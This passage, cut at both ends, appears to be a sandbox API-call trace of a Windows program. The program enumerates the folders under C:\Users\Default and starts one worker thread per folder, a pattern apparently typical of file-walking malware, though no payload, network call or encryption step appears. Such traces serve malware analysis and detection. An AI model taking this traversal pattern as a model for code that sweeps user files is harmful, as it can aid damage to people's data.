lpParameter=0x409d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0045.852] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0045.852] wcscmp (_String1="Downloads", _String2=".") returned 1 [0045.852] wcscmp (_String1="Downloads", _String2="..") returned 1 [0045.852] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409d68 [0045.852] wcscpy (in: _Dest=0x409d68, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.852] wcscat (in: _Dest=0x409d68, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.852] wcscat (in: _Dest=0x409d68, _Source="Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0045.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0045.853] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0045.854] wcscmp (_String1="Favorites", _String2=".") returned 1 [0045.854] wcscmp (_String1="Favorites", _String2="..") returned 1 [0045.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409da8 [0045.854] wcscpy (in: _Dest=0x409da8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.854] wcscat (in: _Dest=0x409da8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.854] wcscat (in: _Dest=0x409da8, _Source="Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0045.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0045.855] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0045.855] wcscmp (_String1="Links", _String2=".") returned 1 [0045.855] wcscmp (_String1="Links", _String2="..") returned 1 [0045.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40aa68 [0045.855] wcscpy (in: _Dest=0x40aa68, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.855] wcscat (in: _Dest=0x40aa68, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.855] wcscat (in: _Dest=0x40aa68, _Source="Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0045.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40aa68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0045.856] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0045.856] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0045.856] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0045.856] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402690 [0045.856] wcscpy (in: _Dest=0x402690, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.856] wcscat (in: _Dest=0x402690, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.856] wcscat (in: _Dest=0x402690, _Source="Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0045.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0045.857] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0045.857] wcscmp (_String1="Music", _String2=".") returned 1 [0045.857] wcscmp (_String1="Music", _String2="..") returned 1 [0045.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40aaa0 [0045.857] wcscpy (in: _Dest=0x40aaa0, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.857] wcscat (in: _Dest=0x40aaa0, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.857] wcscat (in: _Dest=0x40aaa0, _Source="Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0045.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40aaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0045.858] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0045.858] wcscmp (_String1="My Documents", _String2=".") returned 1 [0045.858] wcscmp (_String1="My Documents", _String2="..") returned 1 [0045.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402840 [0045.858] wcscpy (in: _Dest=0x402840, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.858] wcscat (in: _Dest=0x402840, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.858] wcscat (in: _Dest=0x402840, _Source="My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0045.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0045.859] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0045.859] wcscmp (_String1="NetHood", _String2=".") returned 1 [0045.859] wcscmp (_String1="NetHood", _String2="..") returned 1 [0045.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409de8 [0045.859] wcscpy (in: _Dest=0x409de8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.859] wcscat (in: _Dest=0x409de8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.859] wcscat (in: _Dest=0x409de8, _Source="NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0045.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0045.860] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0045.860] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0045.860] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0045.860] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0045.860] wcscmp (_String1="NTUSER.DAT.LOG", _String2=".") returned 1 [0045.860] wcscmp (_String1="NTUSER.DAT.LOG", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT.LOG1", _String2=".") returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT.LOG1", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT.LOG2", _String2=".") returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT.LOG2", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2=".") returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0045.861] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0045.861] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0045.861] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0045.861] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0045.861] wcscmp (_String1="Pictures", _String2=".") returned 1 [0045.861] wcscmp (_String1="Pictures", _String2="..") returned 1 [0045.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409e28 [0045.861] wcscpy (in: _Dest=0x409e28, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.861] wcscat (in: _Dest=0x409e28, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.861] wcscat (in: _Dest=0x409e28, _Source="Pictures" | out: _Dest="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0045.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0045.862] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0045.862] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0045.862] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0045.863] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409e68 [0045.863] wcscpy (in: _Dest=0x409e68, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.863] wcscat (in: _Dest=0x409e68, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.863] wcscat (in: _Dest=0x409e68, _Source="PrintHood" | out: _Dest="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0045.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0045.864] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0045.864] wcscmp (_String1="Recent", _String2=".") returned 1 [0045.864] wcscmp (_String1="Recent", _String2="..") returned 1 [0045.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40aad8 [0045.864] wcscpy (in: _Dest=0x40aad8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.864] wcscat (in: _Dest=0x40aad8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.864] wcscat (in: _Dest=0x40aad8, _Source="Recent" | out: _Dest="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0045.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40aad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0045.865] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0045.865] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0045.865] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0045.865] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402888 [0045.865] wcscpy (in: _Dest=0x402888, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.865] wcscat (in: _Dest=0x402888, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.865] wcscat (in: _Dest=0x402888, _Source="Saved Games" | out: _Dest="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0045.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0045.867] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0045.867] wcscmp (_String1="Searches", _String2=".") returned 1 [0045.867] wcscmp (_String1="Searches", _String2="..") returned 1 [0045.867] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409ea8 [0045.867] wcscpy (in: _Dest=0x409ea8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.867] wcscat (in: _Dest=0x409ea8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.867] wcscat (in: _Dest=0x409ea8, _Source="Searches" | out: _Dest="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0045.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0045.873] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0045.873] wcscmp (_String1="SendTo", _String2=".") returned 1 [0045.873] wcscmp (_String1="SendTo", _String2="..") returned 1 [0045.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40ab10 [0045.873] wcscpy (in: _Dest=0x40ab10, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.873] wcscat (in: _Dest=0x40ab10, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.873] wcscat (in: _Dest=0x40ab10, _Source="SendTo" | out: _Dest="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0045.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40ab10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0045.874] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0045.874] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0045.874] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0045.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409ee8 [0045.874] wcscpy (in: _Dest=0x409ee8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.874] wcscat (in: _Dest=0x409ee8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.874] wcscat (in: _Dest=0x409ee8, _Source="Start Menu" | out: _Dest="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0045.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0045.875] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0045.875] wcscmp (_String1="Templates", _String2=".") returned 1 [0045.875] wcscmp (_String1="Templates", _String2="..") returned 1 [0045.875] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409f28 [0045.875] wcscpy (in: _Dest=0x409f28, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.875] wcscat (in: _Dest=0x409f28, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.875] wcscat (in: 